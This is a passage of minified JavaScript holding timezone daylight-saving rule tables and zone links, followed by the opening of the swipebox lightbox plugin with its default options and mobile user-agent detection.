1941 9 1 7 0 0 0 S","1941 1941 2 16 7 0 0 1 D"],Taiwan:["1945 1951 4 1 7 0 0 1 D","1945 1951 9 1 7 0 0 0 S","1952 1952 2 1 7 0 0 1 D","1952 1954 10 1 7 0 0 0 S","1953 1959 3 1 7 0 0 1 D","1955 1961 9 1 7 0 0 0 S","1960 1961 5 1 7 0 0 1 D","1974 1975 3 1 7 0 0 1 D","1974 1975 9 1 7 0 0 0 S","1979 1979 5 30 7 0 0 1 D","1979 1979 8 30 7 0 0 0 S"],"E-EurAsia":["1981 9999 2 0 8 0 0 1 S","1979 1995 8 0 8 0 0 0","1996 9999 9 0 8 0 0 0"],Iran:["1978 1980 2 21 7 0 0 1 D","1978 1978 9 21 7 0 0 0 S","1979 1979 8 19 7 0 0 0 S","1980 1980 8 23 7 0 0 0 S","1991 1991 4 3 7 0 0 1 D","1992 1995 2 22 7 0 0 1 D","1991 1995 8 22 7 0 0 0 S","1996 1996 2 21 7 0 0 1 D","1996 1996 8 21 7 0 0 0 S","1997 1999 2 22 7 0 0 1 D","1997 1999 8 22 7 0 0 0 S","2000 2000 2 21 7 0 0 1 D","2000 2000 8 21 7 0 0 0 S","2001 2003 2 22 7 0 0 1 D","2001 2003 8 22 7 0 0 0 S","2004 2004 2 21 7 0 0 1 D","2004 2004 8 21 7 0 0 0 S","2005 2005 2 22 7 0 0 1 D","2005 2005 8 22 7 0 0 0 S","2008 2008 2 21 7 0 0 1 D","2008 2008 8 21 7 0 0 0 S","2009 2011 2 22 7 0 0 1 D","2009 2011 8 22 7 0 0 0 S","2012 2012 2 21 7 0 0 1 D","2012 2012 8 21 7 0 0 0 S","2013 2015 2 22 7 0 0 1 D","2013 2015 8 22 7 0 0 0 S","2016 2016 2 21 7 0 0 1 D","2016 2016 8 21 7 0 0 0 S","2017 2019 2 22 7 0 0 1 D","2017 2019 8 22 7 0 0 0 S","2020 2020 2 21 7 0 0 1 D","2020 2020 8 21 7 0 0 0 S","2021 2023 2 22 7 0 0 1 D","2021 2023 8 22 7 0 0 0 S","2024 2024 2 21 7 0 0 1 D","2024 2024 8 21 7 0 0 0 S","2025 2027 2 22 7 0 0 1 D","2025 2027 8 22 7 0 0 0 S","2028 2029 2 21 7 0 0 1 D","2028 2029 8 21 7 0 0 0 S","2030 2031 2 22 7 0 0 1 D","2030 2031 8 22 7 0 0 0 S","2032 2033 2 21 7 0 0 1 D","2032 2033 8 21 7 0 0 0 S","2034 2035 2 22 7 0 0 1 D","2034 2035 8 22 7 0 0 0 S","2036 2037 2 21 7 0 0 1 D","2036 2037 8 21 7 0 0 0 S"],Japan:["1948 1948 4 1 0 2 0 1 D","1948 1951 8 8 6 2 0 0 S","1949 1949 3 1 0 2 0 1 D","1950 1951 4 1 0 2 0 1 D"],Port:["1916 1916 5 17 7 23 0 1 S","1916 1916 10 1 7 1 0 0","1917 1917 1 28 7 23 2 1 S","1917 1921 9 14 7 23 2 0","1918 1918 2 1 7 23 2 1 S","1919 1919 1 28 7 23 2 1 S","1920 1920 1 29 7 23 2 1 S","1921 1921 1 28 7 23 2 1 S","1924 1924 3 16 7 23 2 1 S","1924 1924 9 14 7 23 2 0","1926 1926 3 17 7 23 2 1 S","1926 1929 9 1 6 23 2 0","1927 1927 3 9 7 23 2 1 S","1928 1928 3 14 7 23 2 1 S","1929 1929 3 20 7 23 2 1 S","1931 1931 3 18 7 23 2 1 S","1931 1932 9 1 6 23 2 0","1932 1932 3 2 7 23 2 1 S","1934 1934 3 7 7 23 2 1 S","1934 1938 9 1 6 23 2 0","1935 1935 2 30 7 23 2 1 S","1936 1936 3 18 7 23 2 1 S","1937 1937 3 3 7 23 2 1 S","1938 1938 2 26 7 23 2 1 S","1939 1939 3 15 7 23 2 1 S","1939 1939 10 18 7 23 2 0","1940 1940 1 24 7 23 2 1 S","1940 1941 9 5 7 23 2 0","1941 1941 3 5 7 23 2 1 S","1942 1945 2 8 6 23 2 1 S","1942 1942 3 25 7 22 2 2 M","1942 1942 7 15 7 22 2 1 S","1942 1945 9 24 6 23 2 0","1943 1943 3 17 7 22 2 2 M","1943 1945 7 25 6 22 2 1 S","1944 1945 3 21 6 22 2 2 M","1946 1946 3 1 6 23 2 1 S","1946 1946 9 1 6 23 2 0","1947 1949 3 1 0 2 2 1 S","1947 1949 9 1 0 2 2 0","1951 1965 3 1 0 2 2 1 S","1951 1965 9 1 0 2 2 0","1977 1977 2 27 7 0 2 1 S","1977 1977 8 25 7 0 2 0","1978 1979 3 1 0 0 2 1 S","1978 1978 9 1 7 0 2 0","1979 1982 8 0 8 1 2 0","1980 1980 2 0 8 0 2 1 S","1981 1982 2 0 8 1 2 1 S","1983 1983 2 0 8 2 2 1 S"],"W-Eur":["1977 1980 3 1 0 1 2 1 S","1977 1977 8 0 8 1 2 0","1978 1978 9 1 7 1 2 0","1979 1995 8 0 8 1 2 0","1981 9999 2 0 8 1 2 1 S","1996 9999 9 0 8 1 2 0"],Iceland:["1917 1918 1 19 7 23 0 1 S","1917 1917 9 21 7 1 0 0","1918 1918 10 16 7 1 0 0","1939 1939 3 29 7 23 0 1 S","1939 1939 10 29 7 2 0 0","1940 1940 1 25 7 2 0 1 S","1940 1940 10 3 7 2 0 0","1941 1941 2 2 7 1 2 1 S","1941 1941 10 2 7 1 2 0","1942 1942 2 8 7 1 2 1 S","1942 1942 9 25 7 1 2 0","1943 1946 2 1 0 1 2 1 S","1943 1948 9 22 0 1 2 0","1947 1967 3 1 0 1 2 1 S","1949 1949 9 30 7 1 2 0","1950 1966 9 22 0 1 2 0","1967 1967 9 29 7 1 2 0"],Falk:["1937 1938 8 0 8 0 0 1 S","1938 1942 2 19 0 0 0 0","1939 1939 9 1 7 0 0 1 S","1940 1942 8 0 8 0 0 1 S","1943 1943 0 1 7 0 0 0","1983 1983 8 0 8 0 0 1 S","1984 1985 3 0 8 0 0 0","1984 1984 8 16 7 0 0 1 S","1985 2000 8 9 0 0 0 1 S","1986 2000 3 16 0 0 0 0","2001 2010 3 15 0 2 0 0","2001 2010 8 1 0 2 0 1 S"],AS:["1971 1985 9 0 8 2 2 1","1986 1986 9 19 7 2 2 1","1987 2007 9 0 8 2 2 1","1972 1972 1 27 7 2 2 0","1973 1985 2 1 0 2 2 0","1986 1990 2 15 0 2 2 0","1991 1991 2 3 7 2 2 0","1992 1992 2 22 7 2 2 0","1993 1993 2 7 7 2 2 0","1994 1994 2 20 7 2 2 0","1995 2005 2 0 8 2 2 0","2006 2006 3 2 7 2 2 0","2007 2007 2 0 8 2 2 0","2008 9999 3 1 0 2 2 0","2008 9999 9 1 0 2 2 1"],AQ:["1971 1971 9 0 8 2 2 1","1972 1972 1 0 8 2 2 0","1989 1991 9 0 8 2 2 1","1990 1992 2 1 0 2 2 0"],AN:["1971 1985 9 0 8 2 2 1","1972 1972 1 27 7 2 2 0","1973 1981 2 1 0 2 2 0","1982 1982 3 1 0 2 2 0","1983 1985 2 1 0 2 2 0","1986 1989 2 15 0 2 2 0","1986 1986 9 19 7 2 2 1","1987 1999 9 0 8 2 2 1","1990 1995 2 1 0 2 2 0","1996 2005 2 0 8 2 2 0","2000 2000 7 0 8 2 2 1","2001 2007 9 0 8 2 2 1","2006 2006 3 1 0 2 2 0","2007 2007 2 0 8 2 2 0","2008 9999 3 1 0 2 2 0","2008 9999 9 1 0 2 2 1"],AW:["1974 1974 9 0 8 2 2 1","1975 1975 2 1 0 2 2 0","1983 1983 9 0 8 2 2 1","1984 1984 2 1 0 2 2 0","1991 1991 10 17 7 2 2 1","1992 1992 2 1 0 2 2 0","2006 2006 11 3 7 2 2 1","2007 2009 2 0 8 2 2 0","2007 2008 9 0 8 2 2 1"], Holiday:["1992 1993 9 0 8 2 2 1","1993 1994 2 1 0 2 2 0"],LH:["1981 1984 9 0 8 2 0 1","1982 1985 2 1 0 2 0 0","1985 1985 9 0 8 2 0 0:30","1986 1989 2 15 0 2 0 0","1986 1986 9 19 7 2 0 0:30","1987 1999 9 0 8 2 0 0:30","1990 1995 2 1 0 2 0 0","1996 2005 2 0 8 2 0 0","2000 2000 7 0 8 2 0 0:30","2001 2007 9 0 8 2 0 0:30","2006 2006 3 1 0 2 0 0","2007 2007 2 0 8 2 0 0","2008 9999 3 1 0 2 0 0","2008 9999 9 1 0 2 0 0:30"],AV:["1971 1985 9 0 8 2 2 1","1972 1972 1 0 8 2 2 0","1973 1985 2 1 0 2 2 0","1986 1990 2 15 0 2 2 0","1986 1987 9 15 0 2 2 1","1988 1999 9 0 8 2 2 1","1991 1994 2 1 0 2 2 0","1995 2005 2 0 8 2 2 0","2000 2000 7 0 8 2 2 1","2001 2007 9 0 8 2 2 1","2006 2006 3 1 0 2 2 0","2007 2007 2 0 8 2 2 0","2008 9999 3 1 0 2 2 0","2008 9999 9 1 0 2 2 1"],Neth:["1916 1916 4 1 7 0 0 1 NST","1916 1916 9 1 7 0 0 0 AMT","1917 1917 3 16 7 2 2 1 NST","1917 1917 8 17 7 2 2 0 AMT","1918 1921 3 1 1 2 2 1 NST","1918 1921 8 1 8 2 2 0 AMT","1922 1922 2 0 8 2 2 1 NST","1922 1936 9 2 0 2 2 0 AMT","1923 1923 5 1 5 2 2 1 NST","1924 1924 2 0 8 2 2 1 NST","1925 1925 5 1 5 2 2 1 NST","1926 1931 4 15 7 2 2 1 NST","1932 1932 4 22 7 2 2 1 NST","1933 1936 4 15 7 2 2 1 NST","1937 1937 4 22 7 2 2 1 NST","1937 1937 6 1 7 0 0 1 S","1937 1939 9 2 0 2 2 0","1938 1939 4 15 7 2 2 1 S","1945 1945 3 2 7 2 2 1 S","1945 1945 8 16 7 2 2 0"],Greece:["1932 1932 6 7 7 0 0 1 S","1932 1932 8 1 7 0 0 0","1941 1941 3 7 7 0 0 1 S","1942 1942 10 2 7 3 0 0","1943 1943 2 30 7 0 0 1 S","1943 1943 9 4 7 0 0 0","1952 1952 6 1 7 0 0 1 S","1952 1952 10 2 7 0 0 0","1975 1975 3 12 7 0 2 1 S","1975 1975 10 26 7 0 2 0","1976 1976 3 11 7 2 2 1 S","1976 1976 9 10 7 2 2 0","1977 1978 3 1 0 2 2 1 S","1977 1977 8 26 7 2 2 0","1978 1978 8 24 7 4 0 0","1979 1979 3 1 7 9 0 1 S","1979 1979 8 29 7 2 0 0","1980 1980 3 1 7 0 0 1 S","1980 1980 8 28 7 0 0 0"],SovietZone:["1945 1945 4 24 7 2 0 2 M","1945 1945 8 24 7 3 0 1 S","1945 1945 10 18 7 2 2 0"],Germany:["1946 1946 3 14 7 2 2 1 S","1946 1946 9 7 7 2 2 0","1947 1949 9 1 0 2 2 0","1947 1947 3 6 7 3 2 1 S","1947 1947 4 11 7 2 2 2 M","1947 1947 5 29 7 3 0 1 S","1948 1948 3 18 7 2 2 1 S","1949 1949 3 10 7 2 2 1 S"],Czech:["1945 1945 3 8 7 2 2 1 S","1945 1945 10 18 7 2 2 0","1946 1946 4 6 7 2 2 1 S","1946 1949 9 1 0 2 2 0","1947 1947 3 20 7 2 2 1 S","1948 1948 3 18 7 2 2 1 S","1949 1949 3 9 7 2 2 1 S"],Belgium:["1918 1918 2 9 7 0 2 1 S","1918 1919 9 1 6 23 2 0","1919 1919 2 1 7 23 2 1 S","1920 1920 1 14 7 23 2 1 S","1920 1920 9 23 7 23 2 0","1921 1921 2 14 7 23 2 1 S","1921 1921 9 25 7 23 2 0","1922 1922 2 25 7 23 2 1 S","1922 1927 9 1 6 23 2 0","1923 1923 3 21 7 23 2 1 S","1924 1924 2 29 7 23 2 1 S","1925 1925 3 4 7 23 2 1 S","1926 1926 3 17 7 23 2 1 S","1927 1927 3 9 7 23 2 1 S","1928 1928 3 14 7 23 2 1 S","1928 1938 9 2 0 2 2 0","1929 1929 3 21 7 2 2 1 S","1930 1930 3 13 7 2 2 1 S","1931 1931 3 19 7 2 2 1 S","1932 1932 3 3 7 2 2 1 S","1933 1933 2 26 7 2 2 1 S","1934 1934 3 8 7 2 2 1 S","1935 1935 2 31 7 2 2 1 S","1936 1936 3 19 7 2 2 1 S","1937 1937 3 4 7 2 2 1 S","1938 1938 2 27 7 2 2 1 S","1939 1939 3 16 7 2 2 1 S","1939 1939 10 19 7 2 2 0","1940 1940 1 25 7 2 2 1 S","1944 1944 8 17 7 2 2 0","1945 1945 3 2 7 2 2 1 S","1945 1945 8 16 7 2 2 0","1946 1946 4 19 7 2 2 1 S","1946 1946 9 7 7 2 2 0"],Romania:["1932 1932 4 21 7 0 2 1 S","1932 1939 9 1 0 0 2 0","1933 1939 3 2 0 0 2 1 S","1979 1979 4 27 7 0 0 1 S","1979 1979 8 0 8 0 0 0","1980 1980 3 5 7 23 0 1 S","1980 1980 8 0 8 1 0 0","1991 1993 2 0 8 0 2 1 S","1991 1993 8 0 8 0 2 0"],"E-Eur":["1977 1980 3 1 0 0 0 1 S","1977 1977 8 0 8 0 0 0","1978 1978 9 1 7 0 0 0","1979 1995 8 0 8 0 0 0","1981 9999 2 0 8 0 0 1 S","1996 9999 9 0 8 0 0 0"],Hungary:["1918 1918 3 1 7 3 0 1 S","1918 1918 8 29 7 3 0 0","1919 1919 3 15 7 3 0 1 S","1919 1919 8 15 7 3 0 0","1920 1920 3 5 7 3 0 1 S","1920 1920 8 30 7 3 0 0","1945 1945 4 1 7 23 0 1 S","1945 1945 10 3 7 0 0 0","1946 1946 2 31 7 2 2 1 S","1946 1949 9 1 0 2 2 0","1947 1949 3 4 0 2 2 1 S","1950 1950 3 17 7 2 2 1 S","1950 1950 9 23 7 2 2 0","1954 1955 4 23 7 0 0 1 S","1954 1955 9 3 7 0 0 0","1956 1956 5 1 0 0 0 1 S","1956 1956 8 0 8 0 0 0","1957 1957 5 1 0 1 0 1 S","1957 1957 8 0 8 3 0 0","1980 1980 3 6 7 1 0 1 S"],Swiss:["1941 1942 4 1 1 1 0 1 S","1941 1942 9 1 1 2 0 0"],Denmark:["1916 1916 4 14 7 23 0 1 S","1916 1916 8 30 7 23 0 0","1940 1940 4 15 7 0 0 1 S","1945 1945 3 2 7 2 2 1 S","1945 1945 7 15 7 2 2 0","1946 1946 4 1 7 2 2 1 S","1946 1946 8 1 7 2 2 0","1947 1947 4 4 7 2 2 1 S","1947 1947 7 10 7 2 2 0","1948 1948 4 9 7 2 2 1 S","1948 1948 7 8 7 2 2 0"],"GB-Eire":["1916 1916 4 21 7 2 2 1 BST","1916 1916 9 1 7 2 2 0 GMT","1917 1917 3 8 7 2 2 1 BST","1917 1917 8 17 7 2 2 0 GMT","1918 1918 2 24 7 2 2 1 BST","1918 1918 8 30 7 2 2 0 GMT","1919 1919 2 30 7 2 2 1 BST","1919 1919 8 29 7 2 2 0 GMT","1920 1920 2 28 7 2 2 1 BST","1920 1920 9 25 7 2 2 0 GMT","1921 1921 3 3 7 2 2 1 BST","1921 1921 9 3 7 2 2 0 GMT","1922 1922 2 26 7 2 2 1 BST","1922 1922 9 8 7 2 2 0 GMT","1923 1923 3 16 0 2 2 1 BST","1923 1924 8 16 0 2 2 0 GMT","1924 1924 3 9 0 2 2 1 BST","1925 1926 3 16 0 2 2 1 BST","1925 1938 9 2 0 2 2 0 GMT","1927 1927 3 9 0 2 2 1 BST","1928 1929 3 16 0 2 2 1 BST","1930 1930 3 9 0 2 2 1 BST","1931 1932 3 16 0 2 2 1 BST","1933 1933 3 9 0 2 2 1 BST","1934 1934 3 16 0 2 2 1 BST","1935 1935 3 9 0 2 2 1 BST","1936 1937 3 16 0 2 2 1 BST","1938 1938 3 9 0 2 2 1 BST","1939 1939 3 16 0 2 2 1 BST","1939 1939 10 16 0 2 2 0 GMT","1940 1940 1 23 0 2 2 1 BST","1941 1941 4 2 0 1 2 2 BDST","1941 1943 7 9 0 1 2 1 BST","1942 1944 3 2 0 1 2 2 BDST","1944 1944 8 16 0 1 2 1 BST","1945 1945 3 2 1 1 2 2 BDST","1945 1945 6 9 0 1 2 1 BST","1945 1946 9 2 0 2 2 0 GMT","1946 1946 3 9 0 2 2 1 BST","1947 1947 2 16 7 2 2 1 BST","1947 1947 3 13 7 1 2 2 BDST","1947 1947 7 10 7 1 2 1 BST","1947 1947 10 2 7 2 2 0 GMT","1948 1948 2 14 7 2 2 1 BST","1948 1948 9 31 7 2 2 0 GMT","1949 1949 3 3 7 2 2 1 BST","1949 1949 9 30 7 2 2 0 GMT","1950 1952 3 14 0 2 2 1 BST","1950 1952 9 21 0 2 2 0 GMT","1953 1953 3 16 0 2 2 1 BST","1953 1960 9 2 0 2 2 0 GMT","1954 1954 3 9 0 2 2 1 BST","1955 1956 3 16 0 2 2 1 BST","1957 1957 3 9 0 2 2 1 BST","1958 1959 3 16 0 2 2 1 BST","1960 1960 3 9 0 2 2 1 BST","1961 1963 2 0 8 2 2 1 BST","1961 1968 9 23 0 2 2 0 GMT","1964 1967 2 19 0 2 2 1 BST","1968 1968 1 18 7 2 2 1 BST","1972 1980 2 16 0 2 2 1 BST","1972 1980 9 23 0 2 2 0 GMT","1981 1995 2 0 8 1 1 1 BST","1981 1989 9 23 0 1 1 0 GMT","1990 1995 9 22 0 1 1 0 GMT"],Finland:["1942 1942 3 3 7 0 0 1 S","1942 1942 9 3 7 0 0 0","1981 1982 2 0 8 2 0 1 S","1981 1982 8 0 8 3 0 0"],Turkey:["1916 1916 4 1 7 0 0 1 S","1916 1916 9 1 7 0 0 0","1920 1920 2 28 7 0 0 1 S","1920 1920 9 25 7 0 0 0","1921 1921 3 3 7 0 0 1 S","1921 1921 9 3 7 0 0 0","1922 1922 2 26 7 0 0 1 S","1922 1922 9 8 7 0 0 0","1924 1924 4 13 7 0 0 1 S","1924 1925 9 1 7 0 0 0","1925 1925 4 1 7 0 0 1 S","1940 1940 5 30 7 0 0 1 S","1940 1940 9 5 7 0 0 0","1940 1940 11 1 7 0 0 1 S","1941 1941 8 21 7 0 0 0","1942 1942 3 1 7 0 0 1 S","1942 1942 10 1 7 0 0 0","1945 1945 3 2 7 0 0 1 S","1945 1945 9 8 7 0 0 0","1946 1946 5 1 7 0 0 1 S","1946 1946 9 1 7 0 0 0","1947 1948 3 16 0 0 0 1 S","1947 1950 9 2 0 0 0 0","1949 1949 3 10 7 0 0 1 S","1950 1950 3 19 7 0 0 1 S","1951 1951 3 22 7 0 0 1 S","1951 1951 9 8 7 0 0 0","1962 1962 6 15 7 0 0 1 S","1962 1962 9 8 7 0 0 0","1964 1964 4 15 7 0 0 1 S","1964 1964 9 1 7 0 0 0","1970 1972 4 2 0 0 0 1 S","1970 1972 9 2 0 0 0 0","1973 1973 5 3 7 1 0 1 S","1973 1973 10 4 7 3 0 0","1974 1974 2 31 7 2 0 1 S","1974 1974 10 3 7 5 0 0","1975 1975 2 30 7 0 0 1 S","1975 1976 9 0 8 0 0 0","1976 1976 5 1 7 0 0 1 S","1977 1978 3 1 0 0 0 1 S","1977 1977 9 16 7 0 0 0","1979 1980 3 1 0 3 0 1 S","1979 1982 9 11 1 0 0 0","1981 1982 2 0 8 3 0 1 S","1983 1983 6 31 7 0 0 1 S","1983 1983 9 2 7 0 0 0","1985 1985 3 20 7 0 0 1 S","1985 1985 8 28 7 0 0 0","1986 1990 2 0 8 2 2 1 S","1986 1990 8 0 8 2 2 0","1991 2006 2 0 8 1 2 1 S","1991 1995 8 0 8 1 2 0","1996 2006 9 0 8 1 2 0"],Poland:["1918 1919 8 16 7 2 2 0","1919 1919 3 15 7 2 2 1 S","1944 1944 3 3 7 2 2 1 S","1944 1944 9 4 7 2 0 0","1945 1945 3 29 7 0 0 1 S","1945 1945 10 1 7 0 0 0","1946 1946 3 14 7 0 2 1 S","1946 1946 9 7 7 2 2 0","1947 1947 4 4 7 2 2 1 S","1947 1949 9 1 0 2 2 0","1948 1948 3 18 7 2 2 1 S","1949 1949 3 10 7 2 2 1 S","1957 1957 5 2 7 1 2 1 S","1957 1958 8 0 8 1 2 0","1958 1958 2 30 7 1 2 1 S","1959 1959 4 31 7 1 2 1 S","1959 1961 9 1 0 1 2 0","1960 1960 3 3 7 1 2 1 S","1961 1964 4 0 8 1 2 1 S","1962 1964 8 0 8 1 2 0"],Lux:["1916 1916 4 14 7 23 0 1 S","1916 1916 9 1 7 1 0 0","1917 1917 3 28 7 23 0 1 S","1917 1917 8 17 7 1 0 0","1918 1918 3 15 1 2 2 1 S","1918 1918 8 15 1 2 2 0","1919 1919 2 1 7 23 0 1 S","1919 1919 9 5 7 3 0 0","1920 1920 1 14 7 23 0 1 S","1920 1920 9 24 7 2 0 0","1921 1921 2 14 7 23 0 1 S","1921 1921 9 26 7 2 0 0","1922 1922 2 25 7 23 0 1 S","1922 1922 9 2 0 1 0 0","1923 1923 3 21 7 23 0 1 S","1923 1923 9 2 0 2 0 0","1924 1924 2 29 7 23 0 1 S","1924 1928 9 2 0 1 0 0","1925 1925 3 5 7 23 0 1 S","1926 1926 3 17 7 23 0 1 S","1927 1927 3 9 7 23 0 1 S","1928 1928 3 14 7 23 0 1 S","1929 1929 3 20 7 23 0 1 S"],Italy:["1916 1916 5 3 7 0 2 1 S","1916 1916 9 1 7 0 2 0","1917 1917 3 1 7 0 2 1 S","1917 1917 8 30 7 0 2 0","1918 1918 2 10 7 0 2 1 S","1918 1919 9 1 0 0 2 0","1919 1919 2 2 7 0 2 1 S","1920 1920 2 21 7 0 2 1 S","1920 1920 8 19 7 0 2 0","1940 1940 5 15 7 0 2 1 S","1944 1944 8 17 7 0 2 0","1945 1945 3 2 7 2 0 1 S","1945 1945 8 15 7 0 2 0","1946 1946 2 17 7 2 2 1 S","1946 1946 9 6 7 2 2 0","1947 1947 2 16 7 0 2 1 S","1947 1947 9 5 7 0 2 0","1948 1948 1 29 7 2 2 1 S","1948 1948 9 3 7 2 2 0","1966 1968 4 22 0 0 0 1 S","1966 1969 8 22 0 0 0 0","1969 1969 5 1 7 0 0 1 S","1970 1970 4 31 7 0 0 1 S","1970 1970 8 0 8 0 0 0","1971 1972 4 22 0 0 0 1 S","1971 1971 8 0 8 1 0 0","1972 1972 9 1 7 0 0 0","1973 1973 5 3 7 0 0 1 S","1973 1974 8 0 8 0 0 0","1974 1974 4 26 7 0 0 1 S","1975 1975 5 1 7 0 2 1 S","1975 1977 8 0 8 0 2 0","1976 1976 4 30 7 0 2 1 S","1977 1979 4 22 0 0 2 1 S","1978 1978 9 1 7 0 2 0","1979 1979 8 30 7 0 2 0"],Malta:["1973 1973 2 31 7 0 2 1 S","1973 1973 8 29 7 0 2 0","1974 1974 3 21 7 0 2 1 S","1974 1974 8 16 7 0 2 0","1975 1979 3 15 0 2 0 1 S","1975 1980 8 15 0 2 0 0","1980 1980 2 31 7 2 0 1 S"],France:["1916 1916 5 14 7 23 2 1 S","1916 1919 9 1 0 23 2 0","1917 1917 2 24 7 23 2 1 S","1918 1918 2 9 7 23 2 1 S","1919 1919 2 1 7 23 2 1 S","1920 1920 1 14 7 23 2 1 S","1920 1920 9 23 7 23 2 0","1921 1921 2 14 7 23 2 1 S","1921 1921 9 25 7 23 2 0","1922 1922 2 25 7 23 2 1 S","1922 1938 9 1 6 23 2 0","1923 1923 4 26 7 23 2 1 S","1924 1924 2 29 7 23 2 1 S","1925 1925 3 4 7 23 2 1 S","1926 1926 3 17 7 23 2 1 S","1927 1927 3 9 7 23 2 1 S","1928 1928 3 14 7 23 2 1 S","1929 1929 3 20 7 23 2 1 S","1930 1930 3 12 7 23 2 1 S","1931 1931 3 18 7 23 2 1 S","1932 1932 3 2 7 23 2 1 S","1933 1933 2 25 7 23 2 1 S","1934 1934 3 7 7 23 2 1 S","1935 1935 2 30 7 23 2 1 S","1936 1936 3 18 7 23 2 1 S","1937 1937 3 3 7 23 2 1 S","1938 1938 2 26 7 23 2 1 S","1939 1939 3 15 7 23 2 1 S","1939 1939 10 18 7 23 2 0","1940 1940 1 25 7 2 0 1 S","1941 1941 4 5 7 0 0 2 M","1941 1941 9 6 7 0 0 1 S","1942 1942 2 9 7 0 0 2 M","1942 1942 10 2 7 3 0 1 S","1943 1943 2 29 7 2 0 2 M","1943 1943 9 4 7 3 0 1 S","1944 1944 3 3 7 2 0 2 M","1944 1944 9 8 7 1 0 1 S","1945 1945 3 2 7 2 0 2 M","1945 1945 8 16 7 3 0 0","1976 1976 2 28 7 1 0 1 S","1976 1976 8 26 7 1 0 0"],Latvia:["1989 1996 2 0 8 2 2 1 S","1989 1996 8 0 8 2 2 0"],Bulg:["1979 1979 2 31 7 23 0 1 S","1979 1979 9 1 7 1 0 0","1980 1982 3 1 6 23 0 1 S","1980 1980 8 29 7 1 0 0","1981 1981 8 27 7 2 0 0"],Albania:["1940 1940 5 16 7 0 0 1 S","1942 1942 10 2 7 3 0 0","1943 1943 2 29 7 2 0 1 S","1943 1943 3 10 7 3 0 0","1974 1974 4 4 7 0 0 1 S","1974 1974 9 2 7 0 0 0","1975 1975 4 1 7 0 0 1 S","1975 1975 9 2 7 0 0 0","1976 1976 4 2 7 0 0 1 S","1976 1976 9 3 7 0 0 0","1977 1977 4 8 7 0 0 1 S","1977 1977 9 2 7 0 0 0","1978 1978 4 6 7 0 0 1 S","1978 1978 9 1 7 0 0 0","1979 1979 4 5 7 0 0 1 S","1979 1979 8 30 7 0 0 0","1980 1980 4 3 7 0 0 1 S","1980 1980 9 4 7 0 0 0","1981 1981 3 26 7 0 0 1 S","1981 1981 8 27 7 0 0 0","1982 1982 4 2 7 0 0 1 S","1982 1982 9 3 7 0 0 0","1983 1983 3 18 7 0 0 1 S","1983 1983 9 1 7 0 0 0","1984 1984 3 1 7 0 0 1 S"],Austria:["1920 1920 3 5 7 2 2 1 S","1920 1920 8 13 7 2 2 0","1946 1946 3 14 7 2 2 1 S","1946 1948 9 1 0 2 2 0","1947 1947 3 6 7 2 2 1 S","1948 1948 3 18 7 2 2 1 S","1980 1980 3 6 7 0 0 1 S","1980 1980 8 28 7 0 0 0"],Mauritius:["1982 1982 9 10 7 0 0 1 S","1983 1983 2 21 7 0 0 0","2008 2008 9 0 8 2 0 1 S","2009 2009 2 0 8 2 0 0"],WS:["2012 9999 8 0 8 3 0 1 D","2012 9999 3 1 0 4 0 0"],NZ:["1927 1927 10 6 7 2 0 1 S","1928 1928 2 4 7 2 0 0 M","1928 1933 9 8 0 2 0 0:30 S","1929 1933 2 15 0 2 0 0 M","1934 1940 3 0 8 2 0 0 M","1934 1940 8 0 8 2 0 0:30 S","1946 1946 0 1 7 0 0 0 S","1974 1974 10 1 0 2 2 1 D","1975 1975 1 0 8 2 2 0 S","1975 1988 9 0 8 2 2 1 D","1976 1989 2 1 0 2 2 0 S","1989 1989 9 8 0 2 2 1 D","1990 2006 9 1 0 2 2 1 D","1990 2007 2 15 0 2 2 0 S","2007 9999 8 0 8 2 2 1 D","2008 9999 3 1 0 2 2 0 S"],Chatham:["1974 1974 10 1 0 2:45 2 1 D","1975 1975 1 0 8 2:45 2 0 S","1975 1988 9 0 8 2:45 2 1 D","1976 1989 2 1 0 2:45 2 0 S","1989 1989 9 8 0 2:45 2 1 D","1990 2006 9 1 0 2:45 2 1 D","1990 2007 2 15 0 2:45 2 0 S","2007 9999 8 0 8 2:45 2 1 D","2008 9999 3 1 0 2:45 2 0 S"],Vanuatu:["1983 1983 8 25 7 0 0 1 S","1984 1991 2 23 0 0 0 0","1984 1984 9 23 7 0 0 1 S","1985 1991 8 23 0 0 0 1 S","1992 1993 0 23 0 0 0 0","1992 1992 9 23 0 0 0 1 S"],Fiji:["1998 1999 10 1 0 2 0 1 S","1999 2000 1 0 8 3 0 0","2009 2009 10 29 7 2 0 1 S","2010 2010 2 0 8 3 0 0","2010 9999 9 18 0 2 0 1 S","2011 2011 2 1 0 3 0 0","2012 9999 0 18 0 3 0 0"],NC:["1977 1978 11 1 0 0 0 1 S","1978 1979 1 27 7 0 0 0","1996 1996 11 1 7 2 2 1 S","1997 1997 2 2 7 2 2 0"],Cook:["1978 1978 10 12 7 0 0 0:30 HS","1979 1991 2 1 0 0 0 0","1979 1990 9 0 8 0 0 0:30 HS"],Tonga:["1999 1999 9 7 7 2 2 1 S","2000 2000 2 19 7 2 2 0","2000 2001 10 1 0 2 0 1 S","2001 2002 0 0 8 2 0 0"]},links:{"America/Kralendijk":"America/Curacao","America/Lower_Princes":"America/Curacao","America/Marigot":"America/Guadeloupe","America/Shiprock":"America/Denver","America/St_Barthelemy":"America/Guadeloupe","Antarctica/South_Pole":"Antarctica/McMurdo","Arctic/Longyearbyen":"Europe/Oslo","Europe/Bratislava":"Europe/Prague","Europe/Busingen":"Europe/Zurich","Europe/Guernsey":"Europe/London","Europe/Isle_of_Man":"Europe/London","Europe/Jersey":"Europe/London","Europe/Ljubljana":"Europe/Belgrade","Europe/Mariehamn":"Europe/Helsinki","Europe/Podgorica":"Europe/Belgrade","Europe/San_Marino":"Europe/Rome","Europe/Sarajevo":"Europe/Belgrade","Europe/Skopje":"Europe/Belgrade","Europe/Vatican":"Europe/Rome","Europe/Zagreb":"Europe/Belgrade"}}),function(e,t,n,i){n.swipebox=function(r,o){var a,s,l={useCSS:!0,useSVG:!0,initialIndexOnArray:0,closeBySwipe:!0,hideBarsOnMobile:!0,hideBarsDelay:3e3,videoMaxWidth:1140,vimeoColor:"CCCCCC",beforeOpen:null,afterOpen:null,afterClose:null},c=this,u=[],d=r.selector,f=n(d),p=navigator.userAgent.match(/(iPad)|(iPhone)|(iPod)|(Android)|(PlayBook)|(BB10)|(BlackBerry)|(Opera Mini)|(IEMobile)|(webOS)|(MeeGo)/i),h=null!==p||t.createTouch!==i||"ontouchstart"in e||"onmsgesturechange"in 